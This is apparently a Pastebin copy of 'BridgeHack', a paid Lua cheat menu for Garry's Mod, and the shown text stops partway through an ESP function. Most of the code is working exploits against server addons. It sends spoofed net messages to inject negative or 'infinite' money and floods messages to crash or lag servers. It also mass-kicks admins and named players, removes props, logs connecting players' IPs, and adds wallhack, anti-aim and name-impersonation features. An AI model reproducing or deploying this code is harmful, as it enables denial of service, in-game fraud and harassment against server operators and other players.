· 8 years ago · Jul 22, 2018, 02:30 AM
1local dversion=1.5
2local dlversion ="v1.5"
3local outdated = 0
4local devbuild = 0
5local pastecheck = 0 // 0 = Bueno 1 = No Bueno
6local crash = 0
7local ulx_spam=0
8local ply = LocalPlayer()
9
10// INSTALIZATION
11// FUNCTIONS
12
13surface.CreateFont( "PopupHFont", {
14font = "Segoe UI Light",
15size = 50,
16weight = 1000,
17} )
18
19surface.CreateFont("HeaderFont", {
20font = "Segoe UI Semilight",
21size = 22,
22weight = 300
23})
24
25surface.CreateFont("PopupFont", {
26font = "Segoe UI Light",
27size = 21,
28weight = 300
29})
30
31surface.CreateFont("HeadingFont",{
32font = "ChatFont",
33size = 20,
34weight = 500,
35antialias = true,
36})
37
38function SoundClick()
39 if GetConVarNumber("bh_playsound") > 0 then
40surface.PlaySound("buttons/lightswitch2.wav")
41 else
42end end
43
44function consoleP(message)
45queries = queries + 1
46MsgC(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), message, "\n")
47end
48
49function SoundPop()
50 --buttons/blip1.wav
51 --buttons/button14.wav
52 --buttons/lightswitch2.wav
53 if GetConVarNumber("bh_playsound") > 0 then
54surface.PlaySound("buttons/button14.wav")
55 else
56end end
57
58local infinite = 1000000000000000000000000000000000000000000000000000000000000000000
59
60function HitBitches()
61net.Start("hitcomplete")
62net.WriteDouble( GetConVarNumber("bh_hitmenuammount") )
63net.SendToServer()
64end
65concommand.Add("bh_hithack", HitBitches)
66
67function clearcon()
68 for i=0, 100 do
69 print(" ")
70end end
71
72function cleardchat()
73 for i=0, 100 do
74chat.AddText(" ")
75 end end
76
77--[[
78Woo, Coloured chat messages!
79]]--
80function chatP(message)
81queries = queries + 1
82chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,0), message)
83 --status(message)
84end
85
86function chatPR(message)
87queries = queries + 1
88chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,0,0), message)
89 --status(message)
90end
91
92function chatPG(message)
93queries = queries + 1
94chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(0,255,0), message)
95 --status(message)
96end
97queries=1;
98http.Fetch("http://pastebin.com/raw.php?i=jfuCra2J",function(body, len, headers, code)
99serverlist = body
100end,function( error )
101chatP("Error accessing PasteBin!")
102end)
103
104http.Fetch("http://pastebin.com/raw.php?i=Ax9WQ5y7",function(body, len, headers, code)
105changelogs = body
106end,function( error )
107chatP("Error accessing PasteBin!")
108end)
109
110function printchange()
111consoleP(""..changelogs.."")
112end
113concommand.Add("bh_logs", printchange)
114
115--[[
116
117PASTEBIN
118
119CHECK
120
121
122]]--
123local StringM8 = "I like potatoes, potatoes are DELICIOUS! Potatoes are LIFE!"
124
125function CheckPastebin()
126http.Fetch("http://pastebin.com/raw.php?i=gy2HeVgB",function(body, len, headers, code)
127bintext = body
128 local stringbin = ( tostring( bintext ))
129 if (StringM8 == stringbin) then
130consoleP("Connection to PasteBin is good!")
131 else
132pastecheck = 1
133chatP("Connection to PasteBin is broken!")
134chatP("BridgeHack needs PasteBin to properly work!")
135 end end) end
136--[[
137~~~~~~~~~~~~~~~ Version Check ~~~~~~~~~~~~~~~
138 --]]
139function VersionCheck()
140http.Fetch("http://pastebin.com/raw.php?i=xcTwfJY7",function( HTML )
141 local findpos = string.find( HTML, "CVERSION =", 0, false )
142 if (findpos) then
143 local version = tonumber( string.sub( HTML, findpos+10, findpos+13 ) )
144 if (pastecheck == 1) then
145chatP("Can't check for newer versions because PasteBin is unaccessable!")
146 elseif ( version > dversion ) then
147outdated = 1
148chatP("Your version is out of date!" )
149 elseif ( version == dversion ) then
150chatP("Your version is up to date." )
151 elseif (version < dversion) then
152devbuild = 1
153 else
154chatP("Error checking versions!")
155 end end end) end
156VersionCheck()
157
158/*
159About Menu
160
161Woo, learn about us.
162
163*/
164function AboutMenu()
165 local frame = vgui.Create("DFrame")
166frame:SetSize( ScrW(), ScrH() )
167frame:SetPos( 0,0 )
168frame:SetVisible( true )
169frame:SetDraggable( false )
170frame:MakePopup()
171frame:ShowCloseButton( false )
172frame.Paint = function(s,w,h)
173surface.SetDrawColor( Color(0,0,0,200) )
174surface.DrawRect( 0,0, w,h )
175surface.SetDrawColor( Color(0,230,255,150) )
176surface.DrawRect( 0, ScrH()/15, ScrW(), ScrH()/8 )
177surface.SetTextColor(255,255,255)
178surface.SetFont("PopupHFont")
179surface.SetTextPos( w/5 , ScrH()/10 )
180surface.DrawText("About BridgeHack")
181surface.SetFont("PopupFont")
182surface.SetTextPos( w/4, h/2.5)
183surface.DrawText("BridgeHack, made by the Hax R' Us team.")
184surface.SetTextPos( w/4, h/2.4 )
185surface.DrawText("If we haven't said it enough, we'll say it again...")
186surface.SetTextPos( w/4, h/2.3 )
187surface.DrawText("The Hax R' Us team has worked VERY hard on this menu.")
188surface.SetTextPos( w/4, h/2.2 )
189surface.DrawText("We LOVE feedback, so please, take the time and send an email to team.")
190surface.SetTextPos( w/4, h/2.1 )
191surface.DrawText("haxrus1337@gmail.com")
192surface.SetTextPos( w/4, h/2.0 )
193surface.DrawText("Tell us what you think of the menu.")
194 end
195
196button = vgui.Create("DButton", frame)
197button:SetSize(110,32.5)
198button:SetPos(frame:GetWide()/2+frame:GetWide()/10, frame:GetTall()/1.9)
199button:SetText("")
200button.Paint = function(s,w,h)
201surface.SetDrawColor( Color(255,255,255) )
202surface.DrawRect( 0,0, w,h )
203surface.SetDrawColor( Color(13,136,69) )
204surface.DrawRect( 0+3,0+3, w-6,h-6 )
205surface.SetTextColor(255,255,255)
206surface.SetFont("PopupFont")
207surface.SetTextPos(30.5,5.5)
208surface.DrawText( "Alright!" )
209 end
210button.DoClick = function(s,w,h)
211frame:Close()
212SoundClick()
213 end end
214/*
215
216GUYS ITS FINALLY HERE!!!
217
218
219
220BridgeHack WELCOME SCREEN!!!!!
221
222
223*/
224function WelcomeScreen()
225 local Popup = vgui.Create("DFrame")
226Popup:SetSize( ScrW(), ScrH() )
227Popup:SetPos( 0,0 )
228Popup:SetVisible( true )
229Popup:SetDraggable( false )
230Popup:SetTitle( "" )
231Popup:MakePopup()
232Popup:ShowCloseButton( false )
233
234Popup.Paint = function(s,w,h)
235surface.SetDrawColor( Color(0,0,0,200) )
236surface.DrawRect( 0,0, w,h )
237surface.SetDrawColor( Color(13,136,69) )
238surface.DrawRect( 0, w/2-Popup:GetTall()/1.520, ScrW(), ScrH()/6.5 )
239surface.SetTextColor(255,255,255)
240surface.SetTextPos(w/5.10, h/2.40)
241 if outdated == 0 then
242surface.SetFont("PopupHFont")
243surface.SetTextPos(w/5.10, h/3)
244surface.DrawText("BridgeHack")
245surface.SetFont("PopupFont")
246surface.SetTextPos(w/5.10, h/2.50)
247surface.DrawText( "The HaxRUs team hopes you do thoroughly enjoy using our menu!" )
248surface.SetTextPos(w/5.10, h/2.40)
249surface.DrawText( "Your version "..dlversion.." is up to date!" )
250surface.SetTextPos(w/5.10, h/2.30)
251surface.DrawText("Please, do not leak our menu.")
252surface.SetTextPos(w/5.10, h/2.20)
253surface.DrawText ( "We worked very hard on creating it." )
254 elseif outdated == 1 then
255surface.SetFont("PopupFont")
256surface.SetTextPos(w/5.10, h/2.50)
257surface.DrawText( "Your version is outdated! Please contact the HaxRUs team for the latest edition!" )
258 else
259surface.SetFont("PopupHFont")
260surface.SetTextPos(10, 100)
261surface.DrawText( "BridgeHack Version "..dlversion.."")
262surface.SetFont("PopupFont")
263surface.SetTextPos(w/5.10, h/2.50)
264surface.DrawText( "Error" )
265 end end
266button = vgui.Create("DButton", Popup)
267button:SetSize(110,32.5)
268button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)
269button:SetText("")
270button.Paint = function(s,w,h)
271surface.SetDrawColor( Color(255,255,255) )
272surface.DrawRect( 0,0, w,h )
273surface.SetDrawColor( Color(13,136,69) )
274surface.DrawRect( 0+3,0+3, w-6,h-6 )
275surface.SetTextColor(255,255,255)
276surface.SetFont("PopupFont")
277surface.SetTextPos(30.5,5.5)
278surface.DrawText( "Alright!" )
279 end
280
281button.DoClick = function(s,w,h)
282Popup:Close()
283SoundClick()
284 end
285
286logbutton = vgui.Create("DButton", Popup)
287logbutton:SetSize(110,32.5)
288logbutton:SetPos(Popup:GetWide()/3+Popup:GetWide()/10, Popup:GetTall()/2.050)
289logbutton:SetText("")
290logbutton.Paint = function(s,w,h)
291surface.SetDrawColor( Color(255,255,255) )
292surface.DrawRect( 0,0, w,h )
293surface.SetDrawColor( Color(13,170,181) )
294surface.DrawRect( 0+3,0+3, w-6,h-6 )
295surface.SetTextColor(255,255,255)
296surface.SetFont("PopupFont")
297surface.SetTextPos(10,5.5)
298surface.DrawText( "Change Logs" )
299 end
300
301logbutton.DoClick = function(s,w,h)
302Popup:Close()
303ChangeLogMenu()
304SoundClick()
305 end end
306concommand.Add("bh_welcome", WelcomeScreen, SVersionCheck)
307
308-- Version Menu It Looks PURDY
309
310function ChangeLogMenu()
311 local Panel = vgui.Create( "DFrame" )
312Panel:SetSize( 800, 600 )
313Panel:SetPos( ScrW(),ScrH() )
314Panel:MoveTo( ScrW()/2-Panel:GetWide()/2, ScrH()/2-Panel:GetTall()/2 , 2, 0, 0.8) -- Sliding code M8
315Panel:SetTitle( "" )
316Panel:MakePopup()
317Panel:ShowCloseButton( false )
318 function Panel:Paint( w, h )
319draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 160) )
320draw.RoundedBoxEx( 4, 0, 0, w, 40, Color( 240, 85, 0, 160), true, true, false, false )
321draw.SimpleText( "BridgeHack ChangeLogs", "Default", 6, 15, Color( 255,255,255 ), 0, 0 )
322 end
323
324 local Button = vgui.Create("DButton", Panel)
325Button:SetPos( 740, 10 )
326Button:SetSize( 50, 25 )
327Button:SetText( "" )
328 function Button:Paint( w, h )
329draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
330draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
331 end
332Button.DoClick = function()
333Panel:Close()
334 end
335
336 local Label = vgui.Create( "DLabel", Panel )
337Label:SetColor( Color( 255, 255, 255, 255 ) )
338Label:SetFont( "DermaLarge" )
339
340 if outdated == 1 then
341Label:SetText( "Your version " ..dlversion.." is outdated!" )
342Label:SetTextColor( Color( 255,0,0 ) )
343 elseif outdated == 0 then
344Label:SetText( "Your version "..dlversion.." is up to date!" )
345Label:SetTextColor( Color( 0,255,0 ) )
346 else
347Label:SetText("Error receving version information!")
348 end
349
350Label:SizeToContents()
351Label:SetPos( Label:GetParent():GetWide()/2-Label:GetWide()/2-5, 50 )
352
353 local HTML = vgui.Create( "HTML", Panel )
354HTML:OpenURL( "http://pastebin.com/raw.php?i=Ax9WQ5y7" )
355HTML:SetSize( HTML:GetParent():GetWide() - 50, HTML:GetParent():GetTall() - 160 )
356HTML:SetPos( 25, 100 )
357HTML.Paint = function()
358surface.SetDrawColor( Color( 160, 160, 160) )
359surface.DrawRect( 0, 0, HTML:GetWide(), HTML:GetTall() )
360 end end
361/*
362
363
364END MENU
365
366
367*/
368local randomvar = math.Rand(0,9999999)
369local BridgeHack = {}
370BridgeHack.RandomVar = randomvar
371local sweg = LocalPlayer():GetEyeTrace().Entity
372local ply = LocalPlayer()
373ply:ConCommand("bh_welcome")
374timer.Destroy("changecolor")
375
376queries=1;
377function status(statu)-- Made for debugging things.
378queries = queries + 1
379 if GetConVarNumber("bh_showhud") == 1 then
380hook.Add( "HUDPaint", "drawcurrent", function()
381surface.SetFont( "BudgetLabel" )
382surface.SetTextColor( 255,255,255 )
383surface.SetTextPos( 25, 25 )
384surface.DrawText( "[" .. queries .. " Total Requests] STATUS: " .. statu )
385 end) end
386
387 if GetConVarNumber("bh_chat_status") == 1 then
388chat.AddText(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), statu)
389 end end
390
391function Debug(message)
392queries = queries + 1
393chat.AddText(Color(155, 89, 182), "[ BridgeHack]: ", Color(255,255,255), message)
394end
395
396local function CreateCvar(cvar, value)
397CreateClientConVar(cvar, value)
398consoleP("CVAR: " .. cvar .. " set to " .. value)
399end
400
401local function ResetCvar(cvar, value)
402ply:ConCommand("" .. cvar .. " " .. value)
403Debug("CVAR: " .. cvar .. " reset to " .. value)
404end
405
406CheckPastebin()
407CreateCvar("bh_notify", 1)
408CreateCvar("bh_ulxgag", 1, true, false)
409CreateCvar("bh_playsound",1)
410CreateCvar("bh_hitmenuammount",0)
411CreateCvar("bh_menu_effects", 1)
412CreateCvar("bh_firstload_correct", 1)
413CreateCvar("bh_chat_status", 0)
414CreateCvar("bh_cheats_enabled_on_start", 0)
415CreateCvar("bh_cheats_svlua_enabled_on_start", 0)
416CreateCvar("bh_showhud", 0)
417CreateCvar("bh_esp",0)
418CreateCvar("bh_esp_box",1)
419CreateCvar("bh_debug",0)
420CreateCvar("bh_esp_hp",1)
421CreateCvar("bh_esp_rank",1)
422CreateCvar("bh_renderdistance_enable",0)
423CreateCvar("bh_esp_rdistance",2000)
424CreateCvar("bh_esp_infocolor_r",255)
425CreateCvar("bh_esp_infocolor_g",0)
426CreateCvar("bh_esp_infocolor_b",255)
427CreateCvar("bh_ratm_money2give",100000)
428
429
430if GetConVarNumber("bh_firstload_correct") == 1 then
431Derma_Message( "Welcome " .. ply:Nick() .. ", We see its your first time launching BridgeHack on your SteamID (" .. ply:SteamID() .. ")\nHow do I open the menu?\nSimply do this bind in console bind KEY +bh_menu\nThanks for purchasing BridgeHack, Enjoy\nBridgeHack Hack (HaxRUs)", "Welcome to BridgeHack " .. ply:Nick() .. "!", "Click me to continue" )
432ply:ConCommand("bh_firstload_correct 0")
433chatP("Welcome to the world of BridgeHack.")
434
435else
436end
437
438if GetConVarNumber("bh_cheats_enabled_on_start") == 1 then
439ply:ConCommand("incrementvar sv_cheats 0 1 1")
440status("Enabled sv_cheats to 1")
441else
442end
443if GetConVarNumber("bh_cheats_svlua_enabled_on_start") == 1 then
444
445ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
446status("Enabled sv_allowcslua to 1")
447else
448end
449
450// FIXES
451local oChatAddText = chat.AddText
452
453function chat.AddText( ... )
454 local cArgs = { ... };
455
456
457 for k, v in pairs( cArgs ) do
458 if (type(v) == 'string' && string.len(v) > 255) then -- 255 should be fine
459 print("BLOCKED STRING CRASH len[" .. string.len(v) .. "]");
460 return false;
461 else
462 end
463 end
464 return oChatAddText( ... );
465end
466
467---------------------------------------// Global timers //---------------------------------------
468if GetConVarNumber("bh_showhud") == 1 then
469hook.Add( "HUDPaint", "drawcursor", function()
470 local x, y, c = ScrW() / 2, ScrH() / 2, Color(225, 0, 0, 255)
471surface.SetDrawColor(c)
472surface.DrawLine(x - 10, y, x - 5, y)
473surface.DrawLine(x, y + 5, x, y + 10)
474surface.DrawLine(x + 10, y, x + 5, y)
475 end)
476
477hook.Add( "HUDPaint", "drawabout", function()
478surface.SetFont( "BudgetLabel" )
479surface.SetTextColor( 46, 204, 113 )
480surface.SetTextPos( 25, 15 )
481surface.DrawText( "BridgeHack " .. dlversion )
482 end)
483
484 if GetConVarNumber("bh_debug") > 0 then
485 if system.IsWindows( ) == true then
486hook.Add( "HUDPaint", "drawdev1", function()
487surface.SetFont( "BudgetLabel" )
488surface.SetTextColor( 231, 76, 60 )
489surface.SetTextPos( 25, 47 )
490surface.DrawText( "[] Server Operating System: Windows" )
491 end)
492 end
493
494 if system.IsLinux( ) == true then
495hook.Add( "HUDPaint", "drawdev2", function()
496surface.SetFont( "BudgetLabel" )
497surface.SetTextColor( 231, 76, 60 )
498surface.SetTextPos( 25, 47 )
499surface.DrawText( "[] Server Operating System: Linux" )
500 end)
501 end
502
503 if system.IsOSX( ) == true then
504hook.Add( "HUDPaint", "drawdev3", function()
505surface.SetFont( "BudgetLabel" )
506surface.SetTextColor( 231, 76, 60 )
507surface.SetTextPos( 25, 47 )
508surface.DrawText( "[] Server Operating System: OSX")
509 end)
510 end
511
512hook.Add( "HUDPaint", "drawdev4", function()
513surface.SetFont( "BudgetLabel" )
514surface.SetTextColor( 231, 76, 60 )
515surface.SetTextPos( 25, 47 )
516surface.DrawText( "[] Server Operating System: Windows" )
517 end)
518
519hook.Add( "HUDPaint", "drawdev5", function()
520surface.SetFont( "BudgetLabel" )
521surface.SetTextColor( 231, 76, 60 )
522surface.SetTextPos( 25, 57 )
523surface.DrawText( "[] Server Location: " .. system.GetCountry( ) .. "" )
524 end)
525
526hook.Add( "HUDPaint", "drawdev6", function()
527surface.SetFont( "BudgetLabel" )
528surface.SetTextColor( 231, 76, 60 )
529surface.SetTextPos( 25, 67 )
530surface.DrawText( "[] Connection Time: " .. system.AppTime( ) .. " Seconds" )
531 end)
532
533 end
534end
535
536status("Starting")
537status("BridgeHack Loaded")
538
539for k,v in pairs(player.GetAll()) do
540
541 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
542consoleP(v:GetUserGroup()..": " .. v:Nick() .. " - " .. v:SteamID() .. " - $" .. playermoney)
543 end
544consoleP("BridgeHack, by HaxRUs")
545consoleP(dlversion)
546
547// FUNCTIONS--------------------------------------------420---------------------------------------------------------------------------------
548// CONCOMMANDS------------------------------------------420---------------------------------------------------------------------------------
549
550concommand.Add("bh_hitmanxcrash", function ( ply )
551for i=0,300 do
552for k,v in pairs(player.GetAll()) do
553net.Start( "SendMoney" )
554net.WriteEntity( v )
555net.WriteEntity( v )
556net.WriteEntity( v )
557net.WriteString( "-100000000000000000000000000000000000000000" )
558net.SendToServer()
559
560end end end)
561
562
563function MagnetoThrow()
564-- Nice and easy, turn it slow 180
565timer.Simple(.02,Turn)
566timer.Simple(.04,Turn)
567timer.Simple(.06,Turn)
568timer.Simple(.08,Turn)
569timer.Simple(.10,Turn)
570timer.Simple(.12,Turn)
571timer.Simple(.14,Turn)
572timer.Simple(.16,Turn)
573timer.Simple(.18,Turn)
574timer.Simple(.20,Turn)
575timer.Simple(.22,Turn)
576timer.Simple(.24,Turn)
577timer.Simple(.26,Turn)
578timer.Simple(.28,Turn)
579timer.Simple(.30,Turn)
580timer.Simple(.32,Turn)
581timer.Simple(.34,Turn)
582timer.Simple(.36,Turn)
583-- OH MY GOD WHIP AROUND 180
584timer.Simple(.46,TurnBack)
585
586timer.Simple(.7,function() RunConsoleCommand("+attack") end)
587timer.Simple(.72,function() RunConsoleCommand("-attack") end)
588end
589
590function Turn()
591
592LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles()-Angle(0,10,0))
593end
594
595function TurnBack()
596
597LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles()-Angle(0,180,0))
598end
599
600concommand.Add("bh_360",MagnetoThrow)
601
602
603concommand.Add("bh_hitmanxinfa", function ( ply )
604for k,v in pairs(player.GetAll()) do
605net.Start( "SendMoney" )
606net.WriteEntity( v )
607net.WriteEntity( v )
608net.WriteEntity( v )
609net.WriteString( "-100000000000000000000000000000000000000000" )
610net.SendToServer()
611
612end end)
613
614concommand.Add("bh_hitmancrash",function()
615 for i=0,5000 do
616ply:ConCommand('addhit "'..ply:Nick()..'" 500')
617 end
618
619end)
620
621concommand.Add("bh_emp",function()
622net.Start("start_wd_emp")
623net.SendToServer()
624end)
625
626concommand.Add("bh_ulxgag",function()
627 if(ulx and ulx.gagUser) then
628 if GetConVarNumber("bh_ulxgag") == 1 then
629ulx.gagUser(LocalPlayer(),false)
630 else
631 end
632 else
633 end
634
635end)
636
637concommand.Add("bh_antiaim",function()
638hook.Add("CreateMove",function(cmd, u)
639 if (LocalPlayer():KeyDown(IN_ATTACK)) then return end
640 local aa = cmd:GetViewAngles()
641cmd:SetViewAngles(Angle(-9999999999, aa.y, 99939329))
642end)
643
644end)
645
646
647concommand.Add("bh_infinite_all",function()
648clearcon()
649cleardchat()
650chatP("Giving money, He he")
651for k,v in pairs(player.GetAll()) do
652net.Start( "BailOut" )
653net.WriteEntity( v )
654net.WriteEntity( v )
655net.WriteFloat( -infinite )
656net.SendToServer()
657 end
658
659end)
660
661concommand.Add("bh_ipsteal",function()
662hook.Add("PlayerConnect", "IPStealer", function(name, ip)
663file.Append("ips.txt", name .. " - " .. ip .. "\n")
664end)
665
666end)
667
668local nlr = CreateClientConVar("bh_nlr_freeze", "0", true, false)
669
670local function nlrs()
671 if nlr:GetBool() then
672 for k,v in pairs(player.GetAll())do
673 if v != LocalPlayer() then
674net.Start("NLR.ActionPlayer")
675net.WriteEntity(v)
676net.SendToServer()
677 end
678 end
679 end
680 end
681timer.Create("nlrs", 4,0,nlrs)
682
683LastTime = CurTime()
684
685function drawdatopscreen()
686 if GetConVarNumber("bh_notify") > 0 then
687draw.RoundedBox(0,0,0,ScrW(),21,Color(0,0,0,200))
688sweg = math.Clamp((CurTime()-LastTime)/20,0,1)
689 if sweg == 1 then
690LastTime = CurTime()
691 end
692draw.DrawText("BridgeHack (By Hax R Us) Loaded! | Any bugs? E-Mail haxrus1337@gmail.com! | Suggestions? We love feedback! E-Mail the Hax R Us team! | ","Trebuchet24",(ScrW() + 600) - sweg*3100 , -2, Color(255,255,255),TEXT_ALIGN_CENTER )
693 end
694end
695hook.Add( "HUDPaint", "drawdatopscreen", drawdatopscreen )
696
697concommand.Add("bh_tp_spawn",function()
698chatP("Teleported to spawn!")
699consoleP("Teleported to spawn!")
700status("Teleported to spawn!")
701net.Start("DarkRP_Kun_ForceSpawn")
702net.SendToServer()
703
704end)
705
706concommand.Add("bh_check",function()
707clearcon()
708cleardchat()
709chatP("Checking for exploitable addons...")
710if HIT then
711chatPG("Hitman X | Found")
712else
713chatPR("Hitman X | Not Found")
714end
715if HitMenu then
716chatPG("Hit Menu | Found")
717else
718chatPR("Hit Menu | Not Found")
719end
720if BAIL then
721chatPG("BailNPC | Found")
722else
723chatPR("BailNPC | Not Found")
724end
725if dLogs then
726chatPG("DLOGS | Found")
727else
728chatPR("DLOGS | Not Found")
729end
730if ChanNum then
731chatPG("MXRadio| Found")
732else
733chatPR("MXRadio | Not Found")
734end
735if VC_Menu_Info_Panel_Build then
736chatPG("VCMD | Found")
737else
738chatPR("VCMD | Not Found")
739end
740if MDE then
741chatPG("MDE | Found")
742else
743chatPR("MDE | Not Found")
744end
745if NLR then
746chatPG("NLR | Found")
747else
748chatPR("NLR | Not Found")
749end
750if Warnings_for_kick then
751chatPG("ULX Extended | Found")
752else
753chatPR("ULX Extended | Not Found")
754end
755
756end)
757
758function reloadeddunkalladmins()
759clearcon()
760chatP("KICKING ADMINS..... (THIS WILL INCLUDE ANYONE WHO ISNT A USER!)")
761timer.Create( "heymnangng", 3, 0, function()
762for k,v in ipairs(player.GetAll()) do
763if( v:GetUserGroup() != "user" ) then
764if v:Nick() != "Gam" then
765for i=0, 700 do
766net.Start( "GetCar" )
767net.WriteEntity(v)
768net.WriteEntity(v)
769net.SendToServer()
770end
771chatP('Kicked: '.. v:Nick().. "!")
772end end end end)end
773concommand.Add( "bh_mx_kickadmins", reloadeddunkalladmins, SVersionCheck )
774
775function dloglag()
776clearcon()
777print("Lagging server.")
778clearcon()
779print("Lagging server..")
780clearcon()
781print("Lagging server...")
782timer.Create( "dlogsisfucked", 3, 0, function()
783for i=0, 7000 do
784local tosend = {
785cmd="+forward",
786args=" "
787
788 }
789net.Start('dLogsGetCommand')
790net.WriteTable(tosend)
791net.SendToServer()
792
793end end) end
794
795concommand.Add( "bh_dlogs_lag", dloglag, SVersionCheck )
796concommand.Add( "bh_dlogs_lag_off", function()
797clearcon()
798consoleP("Stopping the lag...")
799chatP("Stopping the lag...")
800timer.Destroy("dlogisfucked")
801end)
802
803concommand.Add("bh_admins", function()
804clearcon()
805chatP("Listing non-players..")
806chatP("Check console.")
807consoleP("============= ULX | Custom admin mode RANKS ============")
808for k,v in pairs(player.GetAll()) do
809 if( v:GetUserGroup() != "user" ) then
810 print(v:Nick().. " | ".. v:GetUserGroup())
811 end
812end
813consoleP("========================================================")
814end)
815
816local Spammer = CreateClientConVar("bh_advert", "0", true, false)
817
818local function Spam()
819 if Spammer:GetBool() then
820RunConsoleCommand("say", "/advert I AM TOO COOL FOR SCHOOL !!!!!!") --Whatever you want
821 end end
822timer.Create("Spam", 1.5,0,Spam)
823
824local player2kick = CreateClientConVar("g_mx_playername", " ", true, false)
825function kickdaplayer()
826timer.Create( "heymnangng2", 3, 0, function()
827for k,v in ipairs(player.GetAll()) do
828if v:Nick() == GetConVar("g_mx_playername") then
829clearcon()
830print("Kicking: ")
831print(v:Nick())
832for i=0, 700 do
833net.Start( "GetCar" )
834net.WriteEntity(v)
835net.WriteEntity(v)
836net.SendToServer()
837end
838chatP("Kicked ".. v:Nick())
839consoleP("Kicked ".. v:Nick())
840end end end) end
841concommand.Add( "bh_mx_kickplayer", kickdaplayer, SVersionCheck )
842
843concommand.Add("Bh_clearcon",function()
844clearcon()
845
846end)
847
848concommand.Add("Bh_clearchat",function()
849cleardchat()
850
851end)
852
853
854concommand.Add("bh_3dcardealer_spamstore",function()
855chatP("You better be looking at a car")
856 for i=0,100 do
857clearcon()
858chatP("Spamming store... ".."["..i.."]")
859net.Start( "RXCAR_Shop_Sell_C2S" )
860net.WriteTable({EAA=sweg, CDAA})
861net.SendToServer()
862 end
863
864end)
865
866concommand.Add("bh_serverlist",function()
867status("Printing lise to console...")
868chatP("Check console.")
869clearcon()
870consoleP(""..serverlist.."")
871status("Complete")
872
873end)
874
875function CheckAE()
876
877 if requestTables then
878 print("ae found, bh_ae will work")
879chatP("AE was found, bh_ae will work.")
880 else
881chatP("AE was not found, bh_ae will not work.")
882 end end
883concommand.Add("bh_aecheck", CheckAE, SVersionCheck)
884
885concommand.Add("bh_ae_kickadmins",function()
886clearcon()
887chatP("Attempting to Kick admins")
888chatP("This will only work on admins+")
889timer.Create( "aekickdaskids", 3, 0, function()
890for k,v in ipairs(player.GetAll()) do
891if( v:GetUserGroup() != "user" ) then
892if( v:GetUserGroup() != "vip" ) then
893for i=0, 1000 do
894net.Start('plyWarning')
895net.WriteEntity(v)
896net.WriteString('You have to select a player before doing a action.')
897net.SendToServer()
898end
899chatP('Attempting to kick: '.. v:Nick().. "!")
900
901end end end end) end)
902
903concommand.Add("bh_namesteal_on",function()
904status("Running Script: Random Name Change [name steal]....")
905
906timer.Create("startNAMECHANGEsteal", 0.12, 0, function()
907 local plylastname = ply:Nick()
908 for k,v in pairs(player.GetAll()) do
909 local ligger_type = math.random(1,2)
910 local ligger_type1 = math.random(1,2)
911status("Trying Name change to " .. v:Nick() .. " - " .. v:SteamID())
912 if ligger_type1 == ligger_type then
913status("Name Changing to " .. v:Nick() .. " - " .. v:SteamID())
914 if plylastname == v:Nick() then
915 local ligger_type = math.random(1,2)
916 local ligger_type1 = math.random(1,2)
917 else
918ply:ConCommand("darkrp name " .. v:Nick() .. math.random(1,10))
919status("Changed Name to " .. v:Nick() .. " - " .. v:SteamID())
920 end
921 local ligger_type = math.random(1,2)
922 local ligger_type1 = math.random(1,2)
923 end end end) end)
924
925concommand.Add("bh_namesteal_off",function()
926timer.Destroy("startNAMECHANGEsteal",0.12,0,function()
927 end) end)
928
929concommand.Add("bh_removelookingat",function()
930chatP("Removing prop looking at...")
931net.Start( "MDE_RemoveStuff_C2S" )
932net.WriteTable( {DATA="",TARGET=sweg} )
933net.SendToServer()
934
935end)
936
937concommand.Add("__bh_lagdarkrpdashit",function()
938chatP("Starting the lag...")
939timer.Create("lag"..BridgeHack.RandomVar, 1, 0, function()
940 for i=1,10000 do
941net.Start("DarkRP_spawnPocket")
942net.SendToServer()
943 end
944status("PROGRESS[10000/10000]")
945
946 end) end)
947
948concommand.Add( "__bh_stopplag",function( )
949chatP("Stopping the lag...")
950timer.Destroy("lag"..BridgeHack.RandomVar)
951end)
952
953if dspam == true then
954chatP("Spam split / make shipment ON")
955timer.Create("spamdashit"..BridgeHack.RandomVar,0.1,function()
956 for k,v in pairs(ents.GetAll()) do
957 if v.Entity:GetString() == "spawned_shipment" then
958status("Splitting shipment")
959RunConsoleCommand("darkrp","splitshipment",v.Entity:EntIndex())
960 elseif v.Entity:GetClassName() == "spawned_weapon" then
961status("Making shipment")
962RunConsoleCommand("darkrp","makeshipment",v.Entity:EntIndex())
963 end end end) end
964
965if dspam == false then
966chatP("Spam split / make shipment OFF")
967timer.Simple(1,function()
968timer.Destroy("spamdashit"..BridgeHack.RandomVar,function()
969 end) end) end
970
971concommand.Add("bh_kun_ziptie_untie",function()
972chatP("Untieing...")
973 for i=0,30 do
974net.Start("Kun_ZiptieStruggle")
975net.SendToServer()
976 end
977end)
978
979concommand.Add("___darkrpshipments", function()
980 if dspam != true then
981dspam = true
982 elseif dspam == true then
983dspam = false
984 end end)
985
986local function BridgeHackCHECK(v)
987 if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then
988 return true
989 else
990 return false
991 end end
992
993hook.Add("HUDPaint", "JESP", function()
994 for k,v in pairs(player.GetAll()) do
995 if GetConVarNumber("bh_esp") > 0 then
996 if(v ~= LocalPlayer() and BridgeHackCHECK(v)) then
997 if GetConVarNumber("bh_renderdistance_enable") > 0 then
998 if LocalPlayer():GetPos():Distance(v:GetPos()) < GetConVarNumber("bh_esp_rdistance") then
999 local PlayerESP = (v:EyePos()):ToScreen()
1000 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1001 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1002
